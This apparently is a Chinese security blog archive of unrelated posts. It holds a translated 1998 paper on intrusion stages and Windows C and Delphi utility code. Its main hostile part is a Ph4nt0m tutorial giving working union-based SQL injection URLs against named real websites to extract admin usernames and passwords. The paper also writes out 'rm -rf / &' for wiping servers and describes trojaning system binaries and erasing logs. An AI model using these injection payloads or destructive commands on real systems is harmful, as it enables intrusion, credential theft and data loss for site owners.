够通过应用程序代理或防火墙访问internet时,他们可能利用这种方便去
访问一些“软件仓库”站点并下载一些盗版软件。

这些“软件仓库”站点通常会提供一些屏保、软件工具等程序,某些这种
软件就带有“后门”或“特洛伊木马”程序,比如“死牛教派”(Cult of
the Dead Cow’s)的“Back Orifice”。当安装这些屏幕保护或其他程序
时,这些“木马”就将自己挂在系统的注册表内,并在每一次开机时启动。

在BO木马中,木马的一些选件可以使木马控制宿主机器自动完成某些操
作,比如自动连接IRC并进入特定频道,等等。这样是非常危险的,因
为木马的宿主机器很容易被internet上的远程攻击者完全控制。

对于已经获取了企业内部网的访问权的攻击者,不管是他公司内部职员或
已非法取得主机访问权,BO木马绝对会变得更加有效。采用适当的策
略,攻击者可以在个把星期内将企业中所有机器Windows 95/98机器上都
装上木马,这样他将随心所欲地从远程控制每一台机器,包括文件操作、
重启机器甚至重新格式化磁盘,这一切都可以从远程操作。

———————————————————–
3.1 攻击者的”隐身术”
———————————————————–

典型的系统攻击者一般会采用以下策略来隐藏自己的真实IP地址:
– 从已经取得控制权的主机上通过 telnet或 rsh 跳跃
– 从 windows 主机上通过 wingates 等服务进行跳跃
– 利用配置不当的代理服务器进行跳跃

当发现你的网络有被扫描的模式,而这些扫描来自被攻破的主机或代理
时,建议您通过电话联系他们的系统管理员反映掌握的问题情况。不要使
用email联系,因为攻击者们可以拦截所有发给管理员的email。

一些经验老道的攻击者会利用电话交换技巧来入侵,他们可能会采用以下
技巧:
– 通过“800号”个人电话交换服务,使用被“破解”的帐号连入ISP
来跳跃;
– 先通过拨号找寻并连入某台主机,然后通过这台主机再联入internet
来跳跃。

追踪利用电话网络跳跃技巧连入internet的攻击者是极端困难的,因为他
们可能来自世界上任何角落。如果攻击者能成功使用“800号”拨号跳跃,
他简直可以从世界上任何地方拨入而不用担心长途电话费用。

———————————————————–
3.2 网络查探和信息收集
———————————————————–

在从internet上攻击任何网络前,一个熟练的攻击者会对企业在internet
上的主机预先进行侦察。在攻击者试图获取内网和外网主机资料时,会采
用以下办法:
– 用nslookup进行“ls <子网或域>” 查询请求
– 查看WEB主机上的HTML源码来搜寻其他主机名或IP地址
– 查看FTP服务器上的有关文档
– 连接邮件服务器,作“expn ”查询请求
– 在外部主机上使用Finger服务来查找用户

攻击者一般会实现搜集网络自身的结构信息,然后才试图找出可能存在的
特定弱点。

在上述查询所得的结果的基础上,攻击者们很容易就可以获取企业内网中
一批主机名和地址列表,并可开始了解他们之间的关系。

当进行这些预扫描时,一些典型的攻击者也可能会犯下一些小错误,即在
连接到被攻击的主机的某些端口来获取操作系统版本或其他资料时,使用
了自己真实的IP地址。

所以当您发觉自己的主机被攻击时,一个好方法是:通过检查您的FTP
和HTTPD记录,找出那些不适当的请求。

———————————————————–
3.3 确定被信任网络结点
———————————————————–

攻击者会选择被信任的网络结点作为攻击对象,被信任的结点通常会是管
理者的机器,或者被认为安全的服务器。

攻击者最初会查找您机器上运行的nfsd或mountd所输出的NFS信息,
因为您的机器上的一些关键目录(比如 /usr/bin, /etc和/home等)可能
可以被mount在那些被信任的机器上。

finger守护服务通常会被滥用作确定被信任的主机或用户的工具,因为一
般来说特定的用户总是从特定的主机上登录。

然后攻击者会尝试找出其他类型的信任关系,比如当一个攻击者能够成功
利用CGI的漏洞对主机进行攻击时,他就可以访问到主机的
/etc/hosts.allow文件。

当详细分析以上获得的数据后,攻击者就可以确定选择被攻击主机间的信
任关系,下一步就是找出那些被信任的主机可能存在的漏洞,为后续的远
程攻击准备。

———————————————————–
3.4 确定有弱点网络部件
———————————————————–

当攻击者们建立了对企业网络结构的认识后,他就会使用一些linux的程
序,如AMDhack, mscan, nmap和其他一些小扫描程序,对特定主机进行
适合远程攻击的弱点扫描。

通常,这些扫描都是在那些具有快速光纤连接的机器上进行。AMDhack
在linux上运行时需要root的权限,所以一个攻击者通常会使用那些已经
被他攻入并安装了“rootkit”的机器来进行扫描。这些“rootkit”可以
利用一些关键系统程序的后门或漏洞对系统进行未授权且不被发觉的访
问。

那些启动扫描程序的主机的管理员通常根本不知道自己的机器正在对别
人的企业网进行扫描,因为看似正常的“ps”或“netstat”等进程其实
正是掩盖扫描进程的木马。

其他程序,比如mscan不需要root权限,所以能从任何linux(或其他操
作平台,当使用nmap时)机器上有效地扫描远程机器的弱点,虽然通常
这些扫描会比较慢,而且一般不会隐藏得很好(因为不像AMDhack,攻
击者不需要获得root的权限)。

AMDhack和mscan都会对远程主机进行下列几种扫描:
– 主机的TCP端口扫描
– portmapper提供的正在运行的RPC服务
– nfsd提供的外输目录表
– samba或netbios提供的共享目录表
– 多次finger来确定默认帐户存在
– CGI程序漏洞扫描
– 找寻主机运行的操作系统版本的系统守护程序的漏洞,包括sendmail,
IMAP,POP3,RPC status和RPC mountd。

现在攻击者们很少会使用SATAN,因为它太慢,而且只查找一些过期的
漏洞。

当对企业外网主机进行扫描后,攻击者可清楚的了解哪台主机安全,哪台
主机有漏洞。

当企业使用的路由器,且路由器能够使用SNMP时,一些攻击高手会利
用攻击性SNMP扫描,并对路由器进行字符串“暴力攻击”来获取设备
的公共和私有名。

———————————————————–
3.5 利用网络部件的”弱项”
———————————————————–

攻击者能够找出外网主机间的任何信任关系,也能够找出外网主机的“弱
项”。如果他确实找到了某一网络节点的漏洞,他就会尝试控制您的主机。

一个耐心的攻击者不会在正常上班时间攻击您的机器,他通常会在晚上9
点到第二天早上6点间进行攻击,这样会减少被发现的机会,也给攻击者
充裕的时间在主机安装后门、嗅侦器或木马而不用担心被系统管理员当场
识破。

大多数攻击者周末都很有空,所以一般攻击也是在那时发生。

攻击者会尝试控制一部被信任的外部主机,作为对企业内部网络攻击的跳
板。视乎企业在外网和内网主机间安装的网络过滤器的效果,这种攻击方
法可能有效,也可能无效。

当攻击者控制了一台外部的邮件服务器,从而获得了企业内部各个网段的
访问权后,他就能开始把自己深深地嵌在你的网络中。

为了控制网络的枢纽部件,攻击者们会利用一些程序从远程对企业外部主
机的系统守护程序的弱点和漏洞进行扫描,比如一些具有漏洞的
sendmail,IMAP,POP3版本,以及有缺陷的RPC服务如statd,mountd
和pcnfsd。

大多数远程攻击是从已经被攻击者控制的机器上发动的,在某些情况下攻
击程序需要在被与被攻击主机相同的系统平下重新编译。

当在远程执行对您外网主机系统守护程序攻击的程序时,攻击者通常会尝
试获得系统主机的root权限,从而用其访问到企业的内部网络。

———————————————————–
3.6 控制有漏洞的网络结点
———————————————————–

当成功控制系统守护程序后,攻击者们会“打扫战场”,修改主机访问日
志,在系统服务程序安装后门,从而使自己能够在日后进入而不被发觉。

首先他会安装后门,使自己能够在日后访问。攻击者们用的后门程序大多
已预编译,攻击者可以使用一些技巧改变安装了后门的程序的日期和访问
权限设置,有时甚至加了后门的文件的长度也可以改到与原文件一样。如
果攻击者对FTP日志文件有忧虑,他可以使用“rcp”程序来将后门程序
放到主机上。

当然这些攻击者不会修复企业网络的安全漏洞,他一般只会在关键的系统
文件上安装后门或木马程序,比如“ps”、“netstat”等,以隐藏自己
在主机上的活动。

在Solaris 2.x系统,攻击者通常会在下面一些关键的文件安装后门。
/usr/bin/login
/usr/sbin/ping
/usr/sbin/in.telnetd
/usr/sbin/in.rshd
/usr/sbin/in.rlogind

据说有些攻击者会在 /usr/bin目录下放上.rhosts文件,以允许远程的程序
可以通过rsh或csh的交互环境来启动。

攻击者们下一步一般会检查系统的日志系统,看看自己的连接和攻击过程
是否被记录,然后他会将所有自己访问系统的记录从机器种删除。如果某
台机器很有可能成为攻击的目标,则建议把日志直接输出行式打印机,因
为攻击者几乎不可能将自己的访问记录从打印的日志中删除。

当确认自己的连接没有被任何日志系统记录后,攻击者就会开始对企业网
络进行攻击。如果攻击者取得了企业内网的访问权,一般来说他们就不会
再去攻击其他的外网主机。

———————————————————–
4.1 下载敏感信息
———————————————————–

如果攻击者的目标是从企业内网的WEB服务器或FTP服务器上下载敏感
信息,他可以通过将外网的机器配置成连接内网和企业内网的“网桥”来
达到目的。

然而,如果攻击者的目标是企业内某台机器内的敏感信息,他可能会利用
已经控制了的外网机器,尝试通过机器间的信任关系来获得那台机器的访
问权。

———————————————————–
4.2 攻击其他被信任的网络
———————————————————–

许多攻击者只是重复3.2,3.3,3.4和3.5节中的步骤来查探内网资料,
获取内网访问权。视乎攻击者想要达到的目的,他或许会在内网安装后门
或木马。

如果攻击者想要完全获得内部网络主机的访问权,他可能利用3.6节介绍
的方法安装木马或后门并将自己的访问记录删除。攻击者也会在主机上安
装嗅侦器,在4.3节中会对此详细介绍。

如果攻击者只是想从特定的服务器上下载数据的话,他可能会采取其他方
法来获得内部主机的访问权,比如找出那台服务器所信任的主机,然后试
图控制那台主机。

———————————————————–
4.3 安装嗅侦器
———————————————————–

攻击者们一个十分快速和有效地获得大量内部网络主机的用户名机器密
码的方法是使用“以太网嗅侦器”(ethernet sniffer)程序。但由于这些嗅侦
器只有当攻击者和被攻击者在同一个以太网段内才有效,所以在充当网桥
的外网主机上运行嗅侦器不会有用。

要“嗅侦”内网中的数据流,攻击者必须取得一台内网主机的root权限,
而且这台主机必须与其他主机在同一个网段上。在攻击时可采用3.2,
3.3,3.4,3.5和3.6节中介绍的方法,因为攻击者必须成功在主机上取
得控制权并安装后门软件,以保证嗅侦程序能正确安装和运行。

只有当取得控制权,安装了后门,并在“ps”和“netstat”上安装木马
后,攻击者才能在主机上安装“以太网嗅侦器”。在Solaris 2.x中,这些
嗅侦程序通常会被安装在/usr/bin或/dev目录下,然后修改程序的属性以
使它看起来象其他安装的系统程序一样。

大多数“以太网嗅侦器”是在背景运行,将结果的输出到本地机器的日志
文件中。值得一提的是,攻击者通常会修改“ps”,使嗅侦的进程不被
发觉。

“以太网嗅侦器”程序将网络接口卡设置成为“无选择”模式,使之侦听
用户名,密码和其他有用的数据,并将其存入嗅侦器的日志文件。攻击者
可用这些侦听到的数据来获得到其他主机的访问权。

因为“以太网嗅侦器”是安装在以太网上,所以它可以侦听到所有在同一
网段中的数据流,而不仅仅是从宿主主机发出或发往该主机的数据。

攻击者通常会在一个星期后返回,下载嗅侦程序建立的日志文件。在这种
情况下,企业内网的某个分支里潜伏的嗅侦程序会设置得很完善,除非企
业实施了很好的网络安全措施,否则这种嗅侦器很难被发觉。

对于关心网络安全的系统管理员,有一个很好的工具叫作Tripwire,可以
从COAST中得到(见5.2节)。Tripwire在您的文件系统中制作一个
MD5的“指纹”,并能监控恶意用户或攻击者对您的文件系统进行的任
何修改。

要查找“无选择”模式的网卡(通常意味着被安装嗅侦器),CERT提
供的“cpm”工具十分有效。可以到http://www.cert.org/ftp/tools/cpm/查
找更多的信息。

———————————————————–
4.4 使网络瘫痪
———————————————————–

一些服务器运行着十分重要的应用程序,比如数据库、网络操作系统和其
他执行“关键任务”的程序。一旦攻击者获得了这些服务器的控制权,就
可以很轻易地将网络瘫痪很长一段时间。

一个攻击者不常用,但是十分残忍的摧毁网络的方法,是在运行关键服务
的主机上运行“rm -rf / &”命令(译注:删除机器上所有文件)。视乎
系统的网络备份措施是否完善,这种攻击可以使网络瘫痪几个钟头到几个
月。

如果攻击者的目的是为了进入内部网络,它可能会利用现有路由器存在的
安全漏洞,比如在Cisco,Bay和Ascend等品牌的路由器中的漏洞。在
某些情况下,攻击者可以从远方重启路由器,甚至完全关掉路由器直至系
统管理员重新启动。这样对网络的机能会造成极大程度的破坏,因为当攻
击者针对一系列执行关键网络功能的路由器(比如用来构建企业骨干网的
路由器)的漏洞进行攻击时,他可以很轻易地将网络功能瘫痪相当一段时
间。
间。

所以,对于执行“关键任务”的路由器和服务器应该经常进行升级,并且
采取一切措施确保其安全。

———————————————————–
5.1 参考阅读
———————————————————–

有许多好的文章可以帮助您维护您的内网、外网、主机、服务器等的安全。
我们推荐您访问以下站点,如果希望对大型网络和主机的安全有更深入的
了解,阅读以下书籍:

http://www.antionline.com/archives/documents/advanced/
http://www.rootshell.com/beta/documentation.html
http://seclab.cs.ucdavis.edu/papers.html
http://rhino9.ml.org/textware/

‘Practical Unix & Internet Security’
————————————

如果您以前没有读过Unix和internet安全方面的书籍,这本书是一个好
的开始。

Simson Garfinkel and Gene Spafford
O’Reilly & Associates, Inc.
ISBN 1-56592-148-8

US $39.95 CAN $56.95 (UK around 30 pounds)

———————————————————–
5.2 推荐工具和程序
———————————————————–

已经有许多免费的系统安全程序可以运行在主流的操作系统上,比如:
Solaris, IRIX, Linux, AIX, HP-UX 和 Windows NT, 要获取这些免费工具
软件和程序的更多资料,我们推荐您访问以下站点:

ftp://coast.cs.purdue.edu/pub/tools/unix/
http://www.alw.nih.gov/Security/prog-full.html
http://rhino9.ml.org/software/

网络安全方案公司(Network Security Solutions Ltd.)现在也正在开发一
种基于Unix和Windows平台的网络安全工具,预计在未来几个月后将推
出。在此期间请访问 http://www.ns2.co.uk , 并看看我们其他“精”版的
免费软件!

——————————————————————————

Copyright (c) Network Security Solutions Ltd. 1998
All rights reserved, all trademarks acknowledged

http://www.ns2.co.uk

This document may be distributed in the public domain
as long as the above copyright notices remain intact.

——————————————————————————

2004年10月29日

//将主机名或IP转换成sa.sin_addr.S_un.S_addr需要的值

unsigned long resolv(char*host)

{

     struct hostent             *hp;

     unsigned long              host_ip;

 

     host_ip = inet_addr(host);

     if( host_ip == INADDR_NONE )

     {

         hp = gethostbyname(host);

         if(!hp)

         {

              //printf(“\nError: Unable to resolve hostname (%s)\n”,host);

              exit(1);

         }

         else

              host_ip = *(u_long*)hp->h_addr ;

     }

 

     return(host_ip);

}

 

 

 

//校验和算法

unsigned short checksum(unsigned short*buffer,int size)

{

     unsigned long cksum=0 ;

     while(size>1)

     {

         cksum+=*buffer++;

         size-=sizeof(unsigned short);

     }

 

     if(size)

         cksum+=*(UCHAR*)buffer ;

     cksum=(cksum>>16)+(cksum&0xffff);

     cksum+=(cksum>>16);

 

     return(unsigned short)(~cksum);

}

 

 

 

//

// 根据窗口句柄取得文件完整路径。

//

//

// 参数:

//      hWnd

//          窗口句柄

//      lpszFileName

//          获取文件完整路径的缓冲区

//      nSize

//          缓冲区长度

//

// 返回值

//      成功返回TRUE, 出错返回FALSE;

//

BOOL GetFileNameFromHwnd(HWND hWnd, LPTSTR lpszFileName, DWORD nSize)

{

     BOOL bResult = FALSE;

     // 从句柄获取进程ID

     DWORD dwProcessId;

     GetWindowThreadProcessId(hWnd , &dwProcessId);

 

     // 获取系统版本信息

     OSVERSIONINFO osverinfo;

     osverinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

     if ( !GetVersionEx(&osverinfo) )

         return FALSE;

 

     // 当系统为NT核心时

     if ( osverinfo.dwPlatformId == VER_PLATFORM_WIN32_NT )

     {

         // 调用PSAPI

         BOOL (WINAPI *lpfEnumProcessModules)

              (HANDLE, HMODULE*, DWORD, LPDWORD);

         DWORD (WINAPI *lpfGetModuleFileNameEx)

              (HANDLE, HMODULE, LPTSTR, DWORD);

 

         // 加载PSAPI.DLL

         HINSTANCE hInstLib = LoadLibrary(“PSAPI.DLL”);

         if ( hInstLib == NULL )

              return FALSE ;

 

         // 定位相关函数

         lpfEnumProcessModules = (BOOL(WINAPI *)

              (HANDLE, HMODULE *, DWORD, LPDWORD))GetProcAddress(

              hInstLib, “EnumProcessModules”);

         lpfGetModuleFileNameEx =(DWORD (WINAPI *)

              (HANDLE, HMODULE, LPTSTR, DWORD))GetProcAddress(

              hInstLib, “GetModuleFileNameExA”);

 

         if ( lpfEnumProcessModules && lpfGetModuleFileNameEx )

         {

              // 打开指定进程

              HANDLE hProcess;

              hProcess = OpenProcess(

                   PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,

                   FALSE, dwProcessId);

              if ( hProcess )

              {

                   // 权举模块

                   HMODULE hModule;

                   DWORD dwNeed;

                   if (lpfEnumProcessModules(hProcess,

                       &hModule, sizeof(hModule), &dwNeed))

                   {

                       // 获取文件路径

                       if ( lpfGetModuleFileNameEx(hProcess, hModule,

                            lpszFileName, nSize) )

                            bResult = TRUE;

                   }

                   // 关闭句柄

                   CloseHandle( hProcess ) ;

              }

         }

         // 释放PSAPI.DLL

         FreeLibrary( hInstLib ) ;

     }

     // 当系统为9X

     else if ( osverinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS )

     {

         // 通过ToolHelp

         HANDLE (WINAPI *lpfCreateSnapshot)(DWORD, DWORD);

         BOOL (WINAPI *lpfProcess32First)(HANDLE, LPPROCESSENTRY32);

         BOOL (WINAPI *lpfProcess32Next)(HANDLE, LPPROCESSENTRY32);

 

         // 相关函数的获取

         lpfCreateSnapshot =

              (HANDLE(WINAPI*)(DWORD,DWORD))GetProcAddress(

              GetModuleHandle(“kernel32.dll”),

              “CreateToolhelp32Snapshot” );

         lpfProcess32First=

              (BOOL(WINAPI*)(HANDLE,LPPROCESSENTRY32))GetProcAddress(

              GetModuleHandle(“kernel32.dll”),

              “Process32First” );

         lpfProcess32Next=

              (BOOL(WINAPI*)(HANDLE,LPPROCESSENTRY32))GetProcAddress(

              GetModuleHandle(“kernel32.dll”),

              “Process32Next” );

         if ( !lpfCreateSnapshot ||

              !lpfProcess32First ||

              !lpfProcess32Next)

              return FALSE;

 

         // 利用Toolhelp权举

         HANDLE hSnapshot;

         hSnapshot = lpfCreateSnapshot(TH32CS_SNAPPROCESS , 0);

         if (hSnapshot != (HANDLE)-1)

         {

              // 从第一个开始权举

              PROCESSENTRY32 pe;

              pe.dwSize = sizeof(PROCESSENTRY32);

              if ( lpfProcess32First(hSnapshot, &pe) )

              {

                   do {

                       // 如果是该进程的话取出进程路径

                       if (pe.th32ProcessID == dwProcessId)

                       {

                            lstrcpy(lpszFileName, pe.szExeFile);

                            bResult = TRUE;

                            break;

                       }

                   } while ( lpfProcess32Next(hSnapshot, &pe) );

              }

              // 关闭句柄

              CloseHandle(hSnapshot);

         }

     }

     else

         return FALSE;

 

     return bResult;

}

 

 

 

// 根据错误ID获取出错信息

void ErrorTrace(const char *msg, DWORD error)

{

     DWORD numWritten;

 

     if (error)

     {

         LPTSTR lpMsgBuf;

 

         FormatMessage(

              FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,

              NULL,

              error,

              MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language

              (LPTSTR) &lpMsgBuf,

              0,

              NULL

              );

 

         // Free the buffer.

         LocalFree( lpMsgBuf );

     }

}

 

 

//利用管道获取命令行

bool __fastcall TForm1::RunCmd(AnsiString cmd,TStringList *stringlist)

{

    TMemoryStream *memstream=new TMemoryStream();

    AnsiString rn=”\\r\\n”;

    PROCESS_INFORMATION proc;

    STARTUPINFO start;

    SECURITY_ATTRIBUTES sa;

    long ret;

    unsigned long lngBytesread;

    HANDLE hReadPipe,hWritePipe;

    char *strBuff=(char *)malloc(256);

    if(strBuff==NULL)

    {

        return false;

    }

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);

    sa.bInheritHandle=true;

    sa.lpSecurityDescriptor=NULL;

    ret=CreatePipe(&hReadPipe,&hWritePipe,&sa,0);

    if(ret==0)

    {

        //创建管道失败

        return false;

    }

    memset(&start,0×00,sizeof(STARTUPINFO));

    start.cb=sizeof(STARTUPINFO);

    start.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

    start.hStdOutput=hWritePipe;

    start.hStdError=hWritePipe;

    bool retc=CreateProcess(NULL,cmd.c_str(),NULL,NULL,true, 0, 0, NULL, &start, &proc);

    if(!retc)

    {

        return false;

    }

    CloseHandle(hWritePipe);

    unsigned long len;

    memstream->Position=0;

    while(true)

    {

        memset(strBuff,0×00,256);

        GetFileSize(hReadPipe,&len);

        ret = ReadFile(hReadPipe, strBuff, 256, &lngBytesread,NULL);

        if(ret==0)

        {

            break;

        }

        else

        {

            memstream->Write(strBuff,lngBytesread);

        }

    }

    CloseHandle(proc.hProcess);

    CloseHandle(proc.hThread);

    CloseHandle(hReadPipe);

    memstream->Position=0;

    free(strBuff);

    stringlist->LoadFromStream(memstream);

    memstream->Clear();

    delete memstream;

    return true;

}

 

关键词:网卡 禁用本地链接 启用本地链接  
(******************************************************************************
*   CopyRight (c) By 姚佩云 2004
*   All Right Reserved
*   Email : i_rock_1001@163.com www.jynx.com.cn
*   Date    :
*       New Develop   : 2004-4-8
*   Description :
*       这是一个禁用、启用网卡的例子,实际上通过shell可以控制整个界面,参考的网上资料
*       需要先引用 Microsoft Shell Controls And Automation(Shell32.dll)对应delphi声明 Shell32_TLB.pas
*   Export  :
*       GetNetLinkList
*       ExcNetLinkMenu

******************************************************************************)

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs,Shell32_TLB, StdCtrls, Menus;

type
 TForm1 = class(TForm)
   Button1: TButton;
   ComboBox1: TComboBox;
   Button2: TButton;
   Button3: TButton;
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
   procedure Button3Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

 
var
 Form1: TForm1;

implementation

{$R *.dfm}

{++

Routine Description:

   取本机所有网络链接列表

Arguments:

   OUT list – 取得的网络链接列表

Return Value:

   BOOLEAN – 执行是否成功

–}

function GetNetLinkList(var list:TStrings):BOOLEAN;
var
   Shell:TShell;
   ControlPanel:Folder;
   Item:FolderItem;
   i:integer;
begin

   Result:= FALSE;
   if list = nil then
       exit;

   Shell:=TShell.Create(Application);
   if Shell = nil then
       exit;

   ControlPanel:=Shell.NameSpace(ssfCONTROLS);
   for i:=0 to ControlPanel.items.Count -1 do
   begin
       Item:=ControlPanel.items.Item(i);
       if (Item.Name = ‘网络和拨号连接’) then  //如果是英文的windows则Name也需是英文的
       begin
           ControlPanel:=Folder(Item.GetFolder);
           break;
       end;
   end;

   for i:=0 to ControlPanel.items.count-1 do
   begin
       Item:= ControlPanel.items.Item(i);
       List.Add(Item.Name);
   end;
   FreeAndNil(shell);

   Result:= TRUE;
end;

{++

Routine Description:

   执行 本地网络链接 的菜单命令(包括禁用、启用)

Arguments:

   IN AdapterName – 网络链接名称
   IN MenuName – 菜单名称

Return Value:

   BOOLEAN – 执行是否成功

–}

function ExcNetLinkMenu(const AdapterName,MenuName:String):BOOLEAN;
var
   Shell:TShell;
   ControlPanel:Folder;
   Item:FolderItem;
   i,j:integer;
   Verb:FolderItemVerb;
begin

   Result:= FALSE;

   Shell:=TShell.Create(Application);
   if Shell = nil then
       exit;

   ControlPanel:=Shell.NameSpace(ssfCONTROLS);
   for i:=0 to ControlPanel.items.Count -1 do
   begin
       Item:=ControlPanel.items.Item(i);
       if (Item.Name = ‘网络和拨号连接’) then  //如果是英文的windows则Name也需是英文的
       begin
           ControlPanel:=Folder(Item.GetFolder);
           break;
       end;
   end;

   for i:=0 to ControlPanel.items.count-1 do
   begin
       Item:=ControlPanel.items.Item(i);
       if (Item.Name = AdapterName) then  //如果是英文的windows则Name也需是英文的
       begin
           for j:=0 to Item.Verbs.Count -1 do
           begin
               Verb:=Item.Verbs.Item(j);
               if (Verb.Name = MenuName) then
               begin
                   Verb.DoIt ;
                   Result:=TRUE;
                   break;
               end;
           end;
           break;
       end;
   end;

   FreeAndNil(shell);

end;

procedure TForm1.Button1Click(Sender: TObject);
var
   list:TStrings;
begin
   List:=TStringList.Create ;
   GetNetLinkList(List);
   ComboBox1.Items:=List;
   FreeAndNil(List);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
   ExcNetLinkMenu(‘本地连接 2′,’启用(&A)’);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
   ExcNetLinkMenu(‘本地连接 2′,’禁用(&B)’);
end;

end.

Author: Mix
PST,
Ph4nt0m Security Team
http://www.ph4nt0m.org

当使用SQL注入access的时候,经常会遇到密码为中文、猜不到关键字段名这样的问题。使用本技术就能够很快速的解决这样的问题。本技术最低要求有两条:
1.使用access数据库的系统存在SQL注入漏洞;mssql数据库也支持这个技术
2.需要知道欲爆数据所在的表的表名以及这个表下的一个字段名,一般都是id字段
使用本技术显而易见的优势在于:
1.可以不需要引号,过滤引号对本技术没有影响
2.可以快速的知道敏感数据的内容,而不必像以往一样慢慢的猜解,中文、特殊字符等等都通杀
3.在SQL Server屏蔽了错误信息之后仍然可以快速得到敏感数据内容
4.可以在不知道关键(欲知数据的)字段名的情况下仍然能够获取到欲知数据
咋一看可能这个技术很难,其实很简单。一共有两个难点,一般的第一个难点在看到结果以后都很容易想到,但是第二个难点却的确有点点麻烦。
首先看一个表格,是union的语法。这也是爆出数据的主要原理。如下图所示:

当我们使用SQL Inject技术插入union语句以后,只要两个select查询得到的列数相同,那么整条SQL语句执行完成以后,得到的查询结果就变成了union后面select得到的数据。所以就有可能将我们所需要的数据爆出来。来看一个简单的例子:
http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin
这是一个SQL Server的服务器,关闭了错误信息的回报,所以不能够按照以往的方法直接得到敏感数据。通过SQL Inject插入union语句以后,可以大胆的猜测到所执行的SQL语句变成了:
select * from Soft where SoftID=3903 union select username,password,1,1,1 from admin
那 么在正常情况下显示Soft第1、2个字段值得地方就会显示admin的username和password字段,后面的3个1也是同理替代了。按照这个 特性,我们当然也可以直接得到Admin_UserInfo表里面的username和password字段。构造的语句如下所示:
http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20Admin_UserInfo%20where%20username<>
以 上就是简单的利用union来实现对敏感数据的获取,而不通过复杂的暴力拆解。为了实现在不知道字段名同样能够得到其中的数据这个目的的时候,我们当然就 应该想到使用*来代替字段名。这样只要*所代表的字段再加上几个1的数目和脚本中的select查询表中的字段数目相同,那么就同样可以得到不知道字段名 的数据了。
考虑到这样一种情况,有这样一条语句:select id,hit,softname,softURL from soft where id=10。其中能够在网页中正常显示出来的字段是softname和softURL,那么我们在使用union的时候就应该调整*所在的位置,一般 admin表中结构为id username password,那么在注入上面这条假设的语句的时候就应该这样构造SQL语句:select 1,* from admin。使*所代替的username和pssword字段处于softname和softURL两个字段的位置上,这样网页才能够将我们想要得 username和password字段乖乖的交出来。当然这里只是最简单的一个例子来说明,有很多时候一个表里面可能有十几个字段,我遇到最长的是四十 三个字段。那么脚本中使用select *来做查询的话,我们在构造union select就应该用1凑数到四十三个字段。其中当然是会有一些字段不被网页显示出来,这就需要考虑union select后面的*号所在的位置了。相信这个应该不用我多说了。
上面说的语法完全符合SQL Server。但是Access和SQL Server相比较,真的是小巫见大巫了。在SQL Server里面,当我们使用select *,1,1,1 from admin语句查询得到的记录集合分别是:* 1 1 1。但是在access当中上面的这条语句查询的结果是1 1 1 *,也就是说无论你将*号处于这群1中间的什么位置上,*所代表的数据总是处于查询结果的最后面。用一个复杂点的例子作说明:
http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)
这 个站点使用的是access数据库,可以看到能够正常显示出来的字段是2、3、7、8、10、11,而后面的字段却不会显示出来,去掉14,15,16换 上*号,页面同样显示出数字,也就是说admin中的字段数是三个,肯定是id username password这种结构,但是除了id字段其他的字段都不能够被猜测出名字。按照在上面SQL Server中所使用的方法移动*号的位置以求能够将敏感数据爆出来,在access中是不可行的。原因是access始终将*好所代替的字段放在查询数 据集的最后面。Access查询出来的结果永远都是:1,2,3,4,5,6,7,8,9,10,11,12,13,*这个样子。为了将*好所代替的字段 表示出来,我们必须将*所代替的字段移动到其他位置上。先看结果:
http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id=b.id)%20inner%20join%20admin%20as%20c%20on%20c.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)%20inner%20join%20admin%20as%20e%20on%20d.id=e.id
通过这样构造的语句的执行,最终查询得到的数据形式是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd
其中第3和第7个字段正好就是我们想要得username和password字段的值。这里我使用的是join语法,将两个表连接(相加)起来从而构造得到这样的一个满足我们要求的查询结果。
Join分为全部连接、左连接和右连接,具体区别可以去查看SQL语法。在这里,access中我们不管选择哪一种连接方式效果都等同于全部连接。看一个简单的join语法
SELECT *
FROM (表1 INNER JOIN 表2 ON 表1.序号=表2.序号)
INNER JOIN 表3
ON 表1.序号=表3.序号
转换为实例就是:
select 1,2,3,4,*
from ((admin as a inner join admin as b on a.id=b.id)
inner join admin as c on c.id=b.id)
inner join admin as d on d.id=c.id
按照这种格式就可以把上面的那个url真正执行的SQL语句解出来,无非就是不断的使用join连接数据表admin,然后通过1来补齐前面的字段数目。只要语句构建得当,那么不知道字段名的数据全部都能够在页面中显示出来。这就是这个技术的难点所在了。
好了,全部都介绍完了。如果想把这个技术写成程序的话,也是很有可能的。只不过在语句结构构造的时候最好还是使用人脑吧~~~呵呵

2004年10月28日

Backup a shell- -

                                      

Author: 
 Swan@SEU
History:
 2003/7   A simple <%=date%> test under Query Analyzer
 2003/8   Successfully got a shell
 2003/9   Tell pi******, en****** and 3 other friends
 2003/10  Nothing happend but this article was written
 2003/12  Give this rubbish to w**
 2003/12  I got a tool? I don’t know where it is from…
 2004/1   ZzZzZzZzZzZzZzZz…
 2004/5   Last Modification
    上面的是垃圾文字,写来提醒自己的,如果有幸被人转贴,连着这一段话,都咔嚓掉吧。
●写在前面:
    本来这也不是什么大不了的东西,但是我写了还没有贴出来的时候,有一天QQ上居然有人神神秘秘地把这篇文章传给了我,隔了不久又有人送了我一个这方面的工具!我好感动哦,5555555~
